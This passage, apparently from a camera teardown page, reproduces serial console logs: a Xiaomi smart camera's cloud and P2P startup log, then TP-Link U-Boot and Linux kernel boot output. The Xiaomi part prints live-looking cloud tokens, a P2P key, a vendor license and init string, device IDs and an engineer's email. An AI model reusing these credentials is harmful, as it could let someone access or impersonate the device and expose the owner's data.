[I][0101 09:00:14.265][MISS][miss.c:724]miss_server_finish end....
[E][0101 09:00:14.265][MI MISS][mi_p2p_miss_porting.c:260]miss rpc process error...
[I][0101 09:00:14.265][MI MISS][mi_p2p_miss_porting.c:269]miss_rpc_callback cost_ms:343, method:, message: {&quot;error&quot;:{&quot;code&quot;:-30013,&quot;message&quot;:&quot;offline.&quot;},&quot;id&quot;:340454765}, len 61, thread 0xb63e34c0.
[W][0101 09:00:14.265][MI MESSAGE][mi_message.c:761]fromid:7.toid:3,key:rpc.ack,cost_ms:343
[MAJOR]: ispversion(1) in sdk, ispversion(1) in binfile.
[MINOR]: ispversion(6) in sdk, ispversion(8) in binfile.
warning warning!!!SDK &amp; iqbinfile minor version is not match.
[pAF_SetMotor-0123] Error paramters!! u16MinMotorPos = 320, u16MaxMotorPos = 700, u16HWMinMotorPos = 0, u16HWMaxMotorPos = 1
******************** Load api bin Success - /config/iqfiles/gc3003_MIPI_day.bin ********************
[I][0101 09:00:14.795][MI IPC][linux_ot_stat.c:156]update camera status sta_mode
interface state: UP
[I][0101 09:00:15.796][MI IPC][linux_ot_stat.c:156]update camera status cloud_trying
mi daemon: method=daemon.keepalive
mi daemon: keepalive get node fail,app_pid=663!
[I][0101 09:00:16.797][MI IPC][linux_ot_stat.c:156]update camera status cloud_trying
[I][0101 09:00:17.377][MI IPC][linux_ot_stat.c:156]update camera status cloud_connected
[I][0101 09:00:17.378][MI IPC][linux_ot_stat.c:141]send media info {&quot;id&quot;:1546919329,&quot;method&quot;:&quot;_sync.set_extra_data&quot;,&quot;params&quot;:{&quot;data&quot;:{&quot;v_encode&quot;:&quot;5&quot;,&quot;v_fps&quot;:&quot;20&quot;,&quot;v_width&quot;:&quot;2304&quot;,&quot;v_height&quot;:&quot;1296&quot;,&quot;v_bitrate&quot;:&quot;2000&quot;,&quot;a_encode&quot;:&quot;1032&quot;,&quot;a_fps&quot;:&quot;25&quot;,&quot;a_samplebits&quot;:&quot;16&quot;,&quot;a_samplerate&quot;:&quot;16000&quot;,&quot;a_bitrate&quot;:&quot;256&quot;}}}
[I][0101 09:00:17.378][MI IPC][linux_ot_stat.c:145]set extra param ok!
[E][0101 09:00:17.655][MI IPC][linux_ot_stat.c:999]Not found ack process : {&quot;result&quot;:&quot;ok&quot;,&quot;id&quot;:1546919329}
[I][0213 13:11:56.500][MI REC][local_storage.c:1260]mi_local_storage_init_v2 in. count:1, path: /mnt/sdcard/, reserved: 268435456, yvideo: 0.000000, min: 4294967296
[I][0213 13:11:56.500][MI IPC][ipc.c:1081]mi_set_local_storage_write_pic_func success, 0x4adbd
create thread check_sd_status ok ,detch:no , stack 0x200000
[I][0213 13:11:56.500][MI REC][local_storage.c:1314]mi_local_storage_init_v2  out
[I][0213 13:11:56.501][MI REC][local_storage.c:1795]mi_local_storage_create  in, channel:0
create thread storage_0 ok ,detch:no , stack 0x200000
[I][0213 13:11:56.501][MI RPC][mi_rpc.c:481]add inner method [deleteVideo] ok
[I][0213 13:11:56.503][MI REC][local_storage.c:1692]local storage init ok /mnt/sdcard/
[I][0213 13:11:56.504][MI REC][local_storage.c:1813]mi_local_storage_create  out, channel:0
[I][0213 13:11:56.504][MI REC][local_storage.c:1849]mi_local_storage_set_mode_v2  in, channel:0
[I][0213 13:11:56.504][MI REC][local_storage.c:1858]mi_local_storage_set_mode_v2 channel:0, mode 0
[I][0213 13:11:56.504][MI RPC][mi_rpc.c:481]add inner method [_sync.camera_login] ok
[I][0213 13:11:56.504][MI RPC][mi_rpc.c:481]add inner method [cloudSwitch] ok
[I][0213 13:11:56.505][MI RPC][mi_rpc.c:481]add inner method [miot_camera_delete_files] ok
[I][0213 13:11:56.505][MI CLOUD][cloud.c:110]msg [motion] register miot_camera_delete_files ok
[I][0213 13:11:56.505][MI RPC][mi_rpc.c:481]add inner method [miot_camera_put_gop_info] ok
[I][0213 13:11:56.505][MI CLOUD][cloud.c:126]msg [motion] register miot_camera_put_gop_info ok
[I][0213 13:11:56.505][MI CLOUD][cloud.c:170]cloud init success
[I][0213 13:11:56.506][MI CLOUD][cloud.c:242]context is already,channel:0,i:0
[I][0213 13:11:56.506][MI CLOUD][cloud.c:346]cloud max size : buf_size=2097152,bitrate=2000,max_seconds=7
[I][0213 13:11:56.507][MI REC][local_storage.c:852]enter thread storage task &gt;&gt;
create thread cloud_u_0 ok ,detch:no , stack 0x400000
[I][0213 13:11:56.507][MI CLOUD][cloud.c:358]cloud_upload_start channel:0
create thread cloud_r0 ok ,detch:no , stack 0x200000
[I][0213 13:11:56.507][MI CLOUD][cloud.c:364]cloud_record_start ,channel:0
[I][0213 13:11:56.508][MI CLOUD][cloud.c:365]mi_cloud_add_channel ,channel:0
[I][0213 13:11:56.508][MI REC][local_storage.c:749]_thread_check_sd_status in
[I][0213 13:11:56.509][MI CLOUD][cloud.c:523]update alarm config done , interval 10,channel:0
[I][0213 13:11:56.509][MI CLOUD][cloud_record.c:551]enter task cloud record
[I][0213 13:11:56.510][MI REC][local_storage.c:761]storage status changes from 10 to 1
[I][0213 13:11:56.510][MI REC][sd_manage.c:1831]sd_uninit in
[W][0213 13:11:56.510][MI REC][sd_manage.c:1835]sd_uninit not init
[I][0213 13:11:56.510][MI CLOUD][cloud.c:418]set cloud enable 1 success,channel:0
log upload sdk version=1.0.1,build user=guoxingbao@xiaomi.com,time=20240118_143610,commit=c58f9fa4
[I][0213 13:11:56.511][MI RPC][mi_rpc.c:481]add inner method [set_dlog_switch] ok
[I][0213 13:11:56.511][MI CLOUD][cloud_upload.c:921]cloud_encrypt_iv_update
[I][0213 13:11:56.512][MI CLOUD][cloud_upload.c:937]cloud up send get token request
[I][0213 13:11:56.515][MI RPC][mi_rpc.c:481]add inner method [get_dlog_switch] ok
[I][0213 13:11:56.516][MI RPC][mi_rpc.c:481]add inner method [async_device_feedback_log] ok
[I][0213 13:11:56.516][MI RPC][mi_rpc.c:481]add inner method [set_dlog_accept] ok
[I][0213 13:11:56.516][MI RPC][mi_rpc.c:481]add inner method [_sync.get_devicelog_url] ok
create thread logup ok ,detch:no , stack 0x400000
[MI WRN ]: MI_AI_GetFrame[7284]: Dev0 Chn0 Buffer(s) is lost due to slow fetching!!!
[MI WRN ]: MI_AI_GetFrame[7286]: Current buf index[178], recording buf index[0].
[I][0213 13:11:56.710][MI CLOUD][cloud_upload.c:340]rpc_reply_cb:{&quot;result&quot;:{&quot;data&quot;:&quot;{\&quot;bUrl\&quot;:\&quot;https:\/\/sg.business.smartcamera.api.io.mi.com\&quot;,\&quot;security\&quot;:\&quot;RgIug-nhz-p8NNgqNpYe6g\&quot;,\&quot;token\&quot;:\&quot;GKABM4Sr77IjvgGiQMpEv6ACvPB6HmwUX4qrBk8HQAuF1Zn9FCCLs73KFnizzFpbyCbCeneiYqqLFjwZ4inBIY3tG5xur5ThMRRvrdGS0mRfyzFt42TcrQ7Yi9EPG2Jh-te3YaIC0tHl21KJ8rwAd1Unp_0hsblTNsRaJW6ycpkC4nMM4TdTmN-B1YuHl6ZIoLNjaWnGEai5QK6BQPWcIEPOXRgSy840tjUDR6yL3ixt6gdFjukBGBA431PsZHn-ar_O8Cp-V-ZcGBSpoCGL17aTv_sLGhjfqG-dOEdGiiUAEgA\&quot;}&quot;},&quot;id&quot;:2147483647}
mi daemon: method=daemon.getinfo
mi daemon: keepalive get node fail,pid=663!
[W][0213 13:11:57.208][MI WATCHDOG][thread_watchdog.c:149]recv:{&quot;id&quot;:123,&quot;result&quot;:false}n.getinfo&quot;,&quot;para&quot;:{&quot;pid&quot;:663}}
[I][0213 13:11:57.623][MI MISS][mi_p2p.c:919]miss server try init : did is 1107899811 , token len is 16
[I][0213 13:11:57.624][MISS][miss.c:464]miss version 3.2.10.1
[I][0213 13:11:57.624][MISS][miss.c:465]build time: Jan 18 2024 14:36:12...
[I][0213 13:11:57.624][MISS][miss.c:454]init_mode 0, support_type: 0
[I][0213 13:11:57.624][MISS][miss.c:542]miss check vendor interval: 79969
[I][0213 13:11:57.624][MISS][miss.c:555]max size of send(v:471040 a:2048) recv(v:-1 a:2048)
[I][0213 13:11:57.625][MISS][miss.c:559]gxb miss_server_init:559
[I][0213 13:11:57.625][MISS][miss.c:563]miss send _sync.miss_get_vendor rpc info.
[I][0213 13:11:57.626][MI MISS][mi_p2p_miss_porting.c:336]miss_rpc_send: rpc_handle:0x9e1a30 , method: _sync.miss_get_vendor,  params:{&quot;public_key&quot;:&quot;f9f3c27a6a7ffab1bd4ea624adbbfeac1563e047f1a1ab1cf409027d5ed30e6d&quot;, &quot;token&quot;:&quot;435877324c4d72456c3470434455705a&quot;,&quot;support_vendors&quot;:&quot;CS2&quot;,&quot;p2pkey_version&quot;:1, &quot;req_key&quot;:&quot;9a60e398d9f5b488d1a7fe378bd98f1a&quot;,&quot;miss_version&quot;:&quot;3.2.10.1&quot;}
[I][0213 13:11:57.626][MI MISS][mi_p2p_miss_porting.c:104]add rpc handle i = 0, rpc_id=-1068738057, is_mirtc=0, handle=0x9e1a30, 0x9e1a30
[I][0213 13:11:57.628][MI MISS][mi_p2p_miss_porting.c:329]miss send rpc message ok ;size 299 {&quot;id&quot;:-1068738057,&quot;method&quot;:&quot;_sync.miss_get_vendor&quot;,&quot;params&quot;:{&quot;public_key&quot;:&quot;f9f3c27a6a7ffab1bd4ea624adbbfeac1563e047f1a1ab1cf409027d5ed30e6d&quot;,&quot;token&quot;:&quot;435877324c4d72456c3470434455705a&quot;,&quot;support_vendors&quot;:&quot;CS2&quot;,&quot;p2pkey_version&quot;:1,&quot;req_key&quot;:&quot;9a60e398d9f5b488d1a7fe378bd98f1a&quot;,&quot;miss_version&quot;:&quot;3.2.10.1&quot;}}
[I][0213 13:11:57.628][MISS][miss_internal.c:1059]send get_vendor cost:2 ms
[I][0213 13:11:57.628][MISS][miss.c:595]miss server init ok!cost: 4 ms
[I][0213 13:11:57.629][MI MISS][mi_p2p.c:925]miss server init ok!
[I][0213 13:11:57.794][MI MISS][mi_p2p_miss_porting.c:212]method:, len: 299
[I][0213 13:11:57.795][MI MISS][mi_p2p_miss_porting.c:140]query rpc handle i = 0, id=-1068738057, is_mirtc:0, result=0x9e1a30
[I][0213 13:11:57.795][MI MISS][mi_p2p_miss_porting.c:251]msg id = -1068738057,  handlep=0x9e1a30.
[I][0213 13:11:57.795][MISS][miss.c:2197]miss_rpc_process IN, rpc_id:0x9e1a30, len: 299
[I][0213 13:11:57.795][MISS][miss.c:2222]miss_server_init::miss_server_get_vendor send _sync.miss_get_vendor ACK
[I][0213 13:11:57.796][MISS][cs2_vendor_server.c:461]PPCS API Information:{
&quot;LibType&quot;:&quot;c&quot;,
&quot;LicenseReq&quot;:&quot;Standard&quot;,
&quot;Version&quot;:&quot;5.0.8.0&quot;,
&quot;BuiltDate&quot;:&quot;Oct 28 2022 11:24:18&quot;,
&quot;MaxNumSess&quot;:5,
&quot;MaxNumCh&quot;:8,
&quot;SessAliveSec&quot;:6,
&quot;P2PPunchRange&quot;:3,
&quot;Initialized&quot;:&quot;No&quot;
}
[I][0213 13:11:57.797][MISS][cs2_vendor_server.c:470]CS2-network P2P API Version: 5.0.8.0
[I][0213 13:11:57.797][MISS][cs2_vendor_server.c:478]cs2_init_json {&quot;InitString&quot;:&quot;EEGDFHBLKHJMGAJLEJHDFNEDHHNNDMMDGDALEEDFEOJBLNKJGCAJDNKEGHKJNELJFCIKLLHGLKNEBCGAJHJGMDELNMLBELCCEBGNDEFHMAOA&quot;,&quot;MaxNumSess&quot;:4,&quot;SessAliveSec&quot;:10}
[I][0213 13:11:57.850][MISS][cs2_vendor_server.c:492]cs2 init ok,cost:53 ms!
[I][0213 13:11:57.851][MISS][miss.c:2106]miss server vendor init ok!
[I][0213 13:11:57.851][MI MISS][mi_p2p_miss_porting.c:793]miss_on_server_ready...
[I][0213 13:11:57.851][MISS][miss.c:2233]miss_rpc_process OUT error_code 0,cost 56 ms
[I][0213 13:11:57.851][MI MISS][mi_p2p_miss_porting.c:269]miss_rpc_callback cost_ms:57, method:, message: {&quot;result&quot;:{&quot;vendor&quot;:4,&quot;vendor_params&quot;:{&quot;p2p_id&quot;:&quot;XMSYSGB-906900-GELJM&quot;,&quot;license&quot;:&quot;JBLRRF&quot;,&quot;crc_key&quot;:&quot;XVCRFGZ&quot;,&quot;init_string&quot;:&quot;EEGDFHBLKHJMGAJLEJHDFNEDHHNNDMMDGDALEEDFEOJBLNKJGCAJDNKEGHKJNELJFCIKLLHGLKNEBCGAJHJGMDELNMLBELCCEBGNDEFHMAOA&quot;},&quot;p2p_key&quot;:&quot;ed1be4c7e45c8a55cd459a80f77c9651&quot;},&quot;id&quot;:-1068738057}, len 299, thread 0xb63634c0.
[I][0213 13:11:57.856][MISS][cs2_vendor_server.c:321]cs2 listen start!
[I][0213 13:11:58.193][MI STATICS][report_stat.c:291]msgkey=upload_statistics,param=hello
[I][0213 13:11:58.194][MI STATICS][report_stat.c:738]statistics rpc msg: {&quot;id&quot;:1408890346,&quot;method&quot;:&quot;_async.stat&quot;,&quot;params&quot;:{&quot;sys.info&quot;:{&quot;run_time&quot;:13,&quot;uptime&quot;:20,&quot;loads_1&quot;:&quot;2.71&quot;,&quot;loads_5&quot;:&quot;0.59&quot;,&quot;loads_15&quot;:&quot;0.19&quot;,&quot;totalram&quot;:41652224,&quot;freeram&quot;:5402624,&quot;sharedram&quot;:221184,&quot;bufferram&quot;:3411968,&quot;totalswap&quot;:0,&quot;freeswap&quot;:0,&quot;procs&quot;:139,&quot;pad&quot;:0,&quot;totalhigh&quot;:0,&quot;freehigh&quot;:0,&quot;mem_unit&quot;:1,&quot;heap_times&quot;:138,&quot;heap_size&quot;:2350043},&quot;model&quot;:&quot;mxiang.camera.c301&quot;,&quot;fw_ver&quot;:&quot;5.3.1_0017&quot;,&quot;version&quot;:1,&quot;mikever&quot;:&quot;5.3.1.1.25&quot;}}
interface state: UP
[I][0213 13:11:58.323][MI STATICS][report_stat.c:392]recv:{&quot;result&quot;:&quot;ok&quot;,&quot;id&quot;:1408890346}
[I][0213 13:11:59.624][MI CLOUD][cloud_upload.c:937]cloud up send get token request
[I][0213 13:11:59.745][MI CLOUD][cloud_upload.c:340]rpc_reply_cb:{&quot;result&quot;:{&quot;data&quot;:&quot;{\&quot;bUrl\&quot;:\&quot;https:\/\/sg.business.smartcamera.api.io.mi.com\&quot;,\&quot;security\&quot;:\&quot;rfbjlC6k9DoU0UkPbx6LcA\&quot;,\&quot;token\&quot;:\&quot;GKAB5Y-aSjC-45lvcirDZ5gxoRY3Q_0k1YRBgzMg0kXNcQQ7CRo36uvQSoLzJdo79er469-WYDggiGxE1dHS9cto0mp_7zulMzGCP1glvTXTk_wYlAChh7aD7ibfZblrHKqEYAyI806bUhUrXNt4YrTANRIR2Mo3DKhCdTYH09ttPH99jksA7U47tzkBEewFXgVXpx8tWxXwcjVeFyu_FLwaJRgSsmv_P6vUSdCT6sSne4J0YU4BGBAsC3Rvtfol-WCtQ3OSNxq9GBQ0kYHu-VfUyOrI_6xoPuyFN5hjbiUAEgA\&quot;}&quot;},&quot;id&quot;:2147483647}
[I][0213 13:12:02.732][MI CLOUD][cloud_upload.c:937]cloud up send get token request
[I][0213 13:12:02.865][MI CLOUD][cloud_upload.c:340]rpc_reply_cb:{&quot;result&quot;:{&quot;data&quot;:&quot;{\&quot;bUrl\&quot;:\&quot;https:\/\/sg.business.smartcamera.api.io.mi.com\&quot;,\&quot;security\&quot;:\&quot;18CGaitpkuxzTsC3M_xccg\&quot;,\&quot;token\&quot;:\&quot;GKABnoJFORZi97nLmrOePvN8BP2HOuRukGS9vlJenkKSHaxgXHKRw2lC1Hu5p-APY8X7oDeRKJYHFIRWzLgFC1SMObPlG0irkmGThUOAzc6O15cUQXne0Pk03db0CmrA0hR0alXCJLDHVLXL-i8WUGKeL45M38ZUsyeIGc2RGxeoijloxp8bUTz708Krc-YrBVrZSazZttGUmyodKUGtPMOCthgShguM-RKiRRqpCpcbNv-CjI4BGBC31-ZejQKKcPwNM7A57xOJGBSnat_aphQSW0h4mPKYcmaekUdoaCUAEgA\&quot;}&quot;},&quot;id&quot;:1499537162}
[I][0213 13:12:02.866][MI CLOUD][cloud_upload.c:211]cloud get token done
[I][0213 13:12:02.949][MISS][cs2_vendor_server.c:78]cs2 network detect time: 84 ms
[I][0213 13:12:02.949][MISS][cs2_vendor.c:13]-------------- NetInfo: -------------------
[I][0213 13:12:02.950][MISS][cs2_vendor.c:14]Internet Reachable     : YES
[I][0213 13:12:02.950][MISS][cs2_vendor.c:15]P2P Server IP resolved : YES
[I][0213 13:12:02.950][MISS][cs2_vendor.c:16]P2P Server Hello Ack   : YES
[I][0213 13:12:02.950][MISS][cs2_vendor.c:25]Local NAT Type         : Port-Restricted Cone
[I][0213 13:12:02.950][MISS][cs2_vendor.c:36]-------------------------------------------
[I][0213 13:12:03.033][MI CLOUD][cloud_upload.c:968]cloud up get GOP、offset
[I][0213 13:12:03.033][MI CLOUD][cloud_protocol.c:1041]start to get gop config information
[I][0213 13:12:04.087][MI CLOUD][cloud_protocol.c:971]get gop response: {&quot;result&quot;:&quot;error&quot;,&quot;reason&quot;:&quot;get model gop info error&quot;,&quot;retriable&quot;:false,&quot;code&quot;:400235,&quot;description&quot;:&quot;配置不存在&quot;,&quot;ts&quot;:1739419924383}
[E][0213 13:12:04.087][MI CLOUD][cloud_protocol.c:986]http_get_gop_info_response_parse: get error code : 400235
[I][0213 13:12:04.087][MI CLOUD][cloud_upload.c:979]cloud up get switch
[I][0213 13:12:04.088][MI CLOUD][cloud_protocol.c:1089]start to get switch config information
[I][0213 13:12:04.201][MI CLOUD][cloud_protocol.c:892]get switch response: {&quot;result&quot;:&quot;ok&quot;,&quot;retriable&quot;:false,&quot;code&quot;:0,&quot;data&quot;:{&quot;motionDetectionSwitch&quot;:{&quot;interval&quot;:10,&quot;startTime&quot;:&quot;00:00:00&quot;,&quot;endTime&quot;:&quot;23:59:59&quot;,&quot;detectionSwitch&quot;:false},&quot;babyCrySwitch&quot;:false,&quot;cloudSwitch&quot;:false,&quot;sensitive&quot;:[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},&quot;description&quot;:&quot;成功&quot;,&quot;ts&quot;:1739419924498}
[I][0213 13:12:04.202][MI CLOUD][cloud_protocol.c:949]cloudSwitch is 0
[I][0213 13:12:04.202][MI CLOUD][cloud_upload.c:989]cloud up get vip status
[I][0213 13:12:04.296][MI CLOUD][cloud_protocol.c:684]get vip status response: {&quot;result&quot;:&quot;ok&quot;,&quot;retriable&quot;:false,&quot;code&quot;:0,&quot;data&quot;:{&quot;vipDidSet&quot;:[],&quot;lastPacakgeType&quot;:&quot;OneMonthServenDaysRollingPackage&quot;,&quot;freeHomeSurExpireTime&quot;:1745296835634,&quot;lastEndTime&quot;:0,&quot;pacakgeType&quot;:&quot;OneMonthServenDaysRollingPackage&quot;,&quot;freeHomSurStatus&quot;:true,&quot;startTime&quot;:0,&quot;endTime&quot;:0,&quot;vip&quot;:false,&quot;closeWindow&quot;:true,&quot;status&quot;:0,&quot;bindDidSet&quot;:[]},&quot;description&quot;:&quot;成功&quot;,&quot;ts&quot;:1739419924592}
[I][0213 13:12:04.297][MI CLOUD][cloud_protocol.c:706]get vip status: 0
[I][0213 13:12:04.297][MI CLOUD][cloud_protocol.c:715]get vip status: 0,freeHomSurStatus:1,freeHomeSurExpireTime:1745296835634
[I][0213 13:12:04.297][MI CLOUD][cloud_upload.c:1002]cloud up get url &amp; fileid
[I][0213 13:12:04.298][MI CLOUD][cloud_protocol.c:596]start to get preload info
[I][0213 13:12:04.387][MI CLOUD][cloud_protocol.c:552]get preupload response: {&quot;result&quot;:&quot;ok&quot;,&quot;retriable&quot;:false,&quot;code&quot;:0,&quot;data&quot;:{&quot;storageUrl&quot;:[&quot;https://sg.processor.smartcamera.api.io.mi.com&quot;],&quot;fileId&quot;:&quot;119987143800995712&quot;},&quot;description&quot;:&quot;成功&quot;,&quot;ts&quot;:1739419924683}
[I][0213 13:12:04.387][MI CLOUD][cloud_protocol.c:530]count:1, upload url:https://sg.processor.smartcamera.api.io.mi.com
[I][0213 13:12:04.388][MI CLOUD][cloud_upload.c:1002]cloud up get url &amp; fileid
[I][0213 13:12:04.388][MI CLOUD][cloud_protocol.c:596]start to get preload info
[I][0213 13:12:04.474][MI CLOUD][cloud_protocol.c:552]get preupload response: {&quot;result&quot;:&quot;ok&quot;,&quot;retriable&quot;:false,&quot;code&quot;:0,&quot;data&quot;:{&quot;storageUrl&quot;:[&quot;https://sg.processor.smartcamera.api.io.mi.com&quot;],&quot;fileId&quot;:&quot;119987143847132160&quot;},&quot;description&quot;:&quot;成功&quot;,&quot;ts&quot;:1739419924771}
[I][0213 13:12:04.475][MI CLOUD][cloud_protocol.c:530]count:1, upload url:https://sg.processor.smartcamera.api.io.mi.com
mi daemon: method=daemon.keepalive
mi daemon: keepalive get node fail,app_pid=663!
[I][0213 13:12:05.953][MISS][miss_internal.c:791]miss_vendor_check: check time diff(8-1739419925): 1739419917 &lt; 79969
mi daemon: method=daemon.keepalive
mi daemon: keepalive get node fail,app_pid=663!
m</code></pre><h2 id="tp-link">TP-Link</h2>
<pre><code>
U-Boot SPL 2013.07 (Nov 21 2023 - 10:37:08)
Timer init
CLK stop
PLL init
pll_init:366
pll_cfg.pdiv = 10, pll_cfg.h2div = 5, pll_cfg.h0div = 5, pll_cfg.cdiv = 1, pll_c                                                                                                                                                                                                                                             fg.l2div = 2
nf=118 nr = 1 od0 = 1 od1 = 2
cppcr is 07605100
CPM_CPAPCR 0750510d
nf=84 nr = 1 od0 = 1 od1 = 2
cppcr is 05405100
CPM_CPMPCR 07d0590d
nf=100 nr = 1 od0 = 1 od1 = 2
cppcr is 06405100
CPM_CPVPCR 0640510d
cppcr 0x9a773310
apll_freq 1404000000
mpll_freq 1000000000
vpll_freq = 1200000000
ddr sel mpll, cpu sel apll
ddrfreq 500000000
cclk  1404000000
l2clk 702000000
h0clk 200000000
h2clk 200000000
pclk  100000000
CLK init
SDRAM init
sdram init start
ddr_inno_phy_init ..!
phy reg = 0x00000007, CL = 0x00000007
ddr_inno_phy_init ..! 11:  00000004
ddr_inno_phy_init ..! 22:  00000006
ddr_inno_phy_init ..! 33:  00000006
REG_DDR_LMR: 00000210
REG_DDR_LMR: 00000310
REG_DDR_LMR: 00000110
REG_DDR_LMR, MR0: 00f73011
T31_0x5: 00000007
T31_0x15: 0000000c
T31_0x4: 00000000
T31_0x14: 00000002
INNO_TRAINING_CTRL 1: 00000000
INNO_TRAINING_CTRL 2: 000000a1
T31_cc: 00000003
INNO_TRAINING_CTRL 3: 000000a0
T31_118: 0000003c
T31_158: 0000003c
T31_190: 0000001f
T31_194: 0000001e
jz-04 :  0x00000051
jz-08 :  0x000000a0
jz-28 :  0x00000024
DDR PHY init OK
INNO_DQ_WIDTH   :00000003
INNO_PLL_FBDIV  :00000014
INNO_PLL_PDIV   :00000005
INNO_MEM_CFG    :00000051
INNO_PLL_CTRL   :00000018
INNO_CHANNEL_EN :0000000d
INNO_CWL        :00000006
INNO_CL         :00000007
DDR Controller init
DDRC_STATUS         0x80000001
DDRC_CFG            0x0a288a40
DDRC_CTRL           0x0000011c
DDRC_LMR            0x00400008
DDRC_DLP            0x00000000
DDRC_TIMING1        0x040e0806
DDRC_TIMING2        0x02170707
DDRC_TIMING3        0x2007051e
DDRC_TIMING4        0x1a240031
DDRC_TIMING5        0xff060405
DDRC_TIMING6        0x32170505
DDRC_REFCNT         0x00f26801
DDRC_MMAP0          0x000020fc
DDRC_MMAP1          0x00002400
DDRC_REMAP1         0x03020d0c
DDRC_REMAP2         0x07060504
DDRC_REMAP3         0x0b0a0908
DDRC_REMAP4         0x0f0e0100
DDRC_REMAP5         0x13121110
DDRC_AUTOSR_EN      0x00000000
sdram init finished
SDRAM init ok
board_init_r
image entry point: 0x80100000


U-Boot 2013.07 (Nov 21 2023 - 10:37:08)

Board: ISVP (Ingenic XBurst T31 SoC)
DRAM:  64 MiB
Top of RAM usable for U-Boot at: 84000000
Reserving 425k for U-Boot at: 83f94000
Reserving 32784k for malloc() at: 81f90000
Reserving 32 Bytes for Board Info at: 81f8ffe0
Reserving 124 Bytes for Global Data at: 81f8ff64
Reserving 128k for boot params() at: 81f6ff64
Stack Pointer at: 81f6ff48
Now running in RAM - U-Boot at: 83f94000
MMC:   msc: 0
the manufacturer 20
SF: Detected XM25QH64C

*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial
Net:   No ethernet found.
GPIO : 66094000 -&gt; 67894000
Autobooting in 1 seconds
read normal boot at 0x80200000
the manufacturer 20
SF: Detected XM25QH64C

---&gt;probe spend 5 ms
SF: 131072 bytes @ 0x60000 Read: OK
---&gt;read spend 46 ms
go 0x80600000## Starting application at 0x80600000 ...
Flush cache all before jump.


U-Boot 2013.07 (Nov 21 2023 - 10:48:57)

Board: ISVP (Ingenic XBurst T31 SoC)
DRAM:  64 MiB
Top of RAM usable for U-Boot at: 84000000
Reserving 184k for U-Boot at: 83fd0000
Reserving 32784k for malloc() at: 81fcc000
Reserving 32 Bytes for Board Info at: 81fcbfe0
Reserving 124 Bytes for Global Data at: 81fcbf64
Reserving 128k for boot params() at: 81fabf64
Stack Pointer at: 81fabf48
Now running in RAM - U-Boot at: 83fd0000
MMC:   msc: 0
the manufacturer 20
SF: Detected XM25QH64C

*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial
GPIO : 67894000 -&gt; 67894000
the manufacturer 20
SF: Detected XM25QH64C

---&gt;probe spend 4 ms
SF: 8388608 bytes @ 0x0 Read: OK
---&gt;read spend 2688 ms
------Firmware check pass!-----
Autobooting in 1 seconds
the manufacturer 20
SF: Detected XM25QH64C

---&gt;probe spend 4 ms
SF: 1527808 bytes @ 0x80200 Read: OK
---&gt;read spend 492 ms
## Booting kernel from Legacy Image at 80700000 ...
   Image Name:   Linux-3.10.14__isvp_swan_1.0__
   Image Type:   MIPS Linux Kernel Image (lzma compressed)
   Data Size:    1263718 Bytes = 1.2 MiB
   Load Address: 80010000
   Entry Point:  803076a0
   Verifying Checksum ... OK
   Uncompressing Kernel Image ... OK

Starting kernel ...

[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Initializing cgroup subsys cpuacct
[    0.000000] Linux version 3.10.14__isvp_swan_1.0__ (root@smartlifeci1) (gcc v                                                                                                                                                                                                                                             ersion 4.7.2 (Ingenic r2.3.3 2016.12) ) #2 PREEMPT Tue Nov 21 10:57:25 CST 2023
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU0 RESET ERROR PC:A4B02915
[    0.000000] CPU0 revision is: 00d00100 (Ingenic Xburst)
[    0.000000] FPU revision is: 00b70000
[    0.000000] CCLK:1404MHz L2CLK:702Mhz H0CLK:250MHz H2CLK:250Mhz PCLK:125Mhz
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 00399000 @ 00010000 (usable)
[    0.000000]  memory: 00037000 @ 003a9000 (usable after init)
[    0.000000] User-defined physical RAM map:
[    0.000000]  memory: 02d00000 @ 00000000 (usable)
[    0.000000] Zone ranges:
[    0.000000]   Normal   [mem 0x00000000-0x02cfffff]
[    0.000000] Movable zone start for each node
[    0.000000] Early memory node ranges
[    0.000000]   node   0: [mem 0x00000000-0x02cfffff]
[    0.000000] Primary instruction cache 32kB, 8-way, VIPT, linesize 32 bytes.
[    0.000000] Primary data cache 32kB, 8-way, VIPT, no aliases, linesize 32 byt                                                                                                                                                                                                                                             es
[    0.000000] pls check processor_id[0x00d00100],sc_jz not support!
[    0.000000] MIPS secondary cache 128kB, 8-way, linesize 32 bytes.
[    0.000000] Built 1 zonelists in Zone order, mobility grouping off.  Total pa                                                                                                                                                                                                                                             ges: 11430
[    0.000000] Kernel command line: console=ttyS1,115200n8 mem=45M@0x0 rmem=19M@                                                                                                                                                                                                                                             0x2d00000 root=/dev/mtdblock6 rootfstype=squashfs spdev=/dev/mtdblock7 noinitrd                                                                                                                                                                                                                                              init=/etc/preinit os_size=1263782
[    0.000000] PID hash table entries: 256 (order: -2, 1024 bytes)
[    0.000000] Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
[    0.000000] Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
[    0.000000] Memory: 41124k/46080k available (3070k kernel code, 4956k reserve                                                                                                                                                                                                                                             d, 613k data, 220k init, 0k highmem)
[    0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] Preemptible hierarchical RCU implementation.
[    0.000000] NR_IRQS:358
[    0.000000] clockevents_config_and_register success.
[    0.000015] Calibrating delay loop... 1397.55 BogoMIPS (lpj=6987776)
[    0.037794] pid_max: default: 32768 minimum: 301
[    0.042654] Mount-cache hash table entries: 512
[    0.047598] Initializing cgroup subsys debug
[    0.051855] Initializing cgroup subsys freezer
[    0.057348] devtmpfs: initialized
[    0.061483] regulator-dummy: no parameters
[    0.065730] NET: Registered protocol family 16
[    0.072318] bio: create slab &lt;bio-0&gt; at 0
[    0.077793] jz-dma jz-dma: JZ SoC DMA initialized
[    0.082684] usbcore: registered new interface driver usbfs
[    0.088266] usbcore: registered new interface driver hub
[    0.093690] usbcore: registered new device driver usb
[    0.098870]  (null): set:311  hold:312 dev=125000000 h=625 l=625
[    0.105791] Switching to clocksource jz_clocksource
[    0.110852] cfg80211: Calling CRDA to update world regulatory domain
[    0.117822] jz-dwc2 jz-dwc2: cgu clk gate get error
[    0.122730] DWC IN OTG MODE
[    0.126152] dwc2 dwc2: Keep PHY ON
[    0.129516] dwc2 dwc2: Using Buffer DMA mode
